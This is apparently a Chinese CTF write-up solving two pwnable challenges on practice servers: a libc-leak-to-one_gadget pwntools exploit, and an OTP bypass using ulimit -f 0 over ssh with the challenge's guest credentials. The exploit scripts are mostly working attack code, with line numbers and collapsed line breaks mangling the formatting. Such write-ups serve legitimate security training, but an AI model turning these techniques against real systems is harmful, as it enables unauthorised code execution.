pwnable.kr_exploitable


首先会将 _bss_start 也就是 IO_STDOUT 的地址打印出来,然后你给一个地址它去执行,自然想到利用one_gadget,下面输入的时候要用负数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import *
r = remote("node4.buuoj.cn", 28871)
libc = ELF('./libc-2.23-32.so') one_gadget = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
addr = u32(r.recv(4)) success("_IO_2_1_stdout_: =>"+hex(addr)) libc.address = addr - libc.sym['_IO_2_1_stdout_'] one_gadget = libc.address + one_gadget[0]
r.sendline(str(one_gadget-0x100000000))
r.interactive()
|

pwnable_otp
本题会创建一个名字随机的文件,并且写入8比特的随机内容,之后把内容与输入比较,相同才能得到flag
ulimit -f的指令,它会限制能够创建文件的最大大小,如果设为0就无法创建成功,而本题没有相关检查
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
s = ssh(host='node3.buuoj.cn',user='otp',password='guest',port=25277) s.interactive()
'''exp.py import subprocess subprocess.Popen(['/home/otp/otp', ''], stderr=subprocess.STDOUT) '''
|
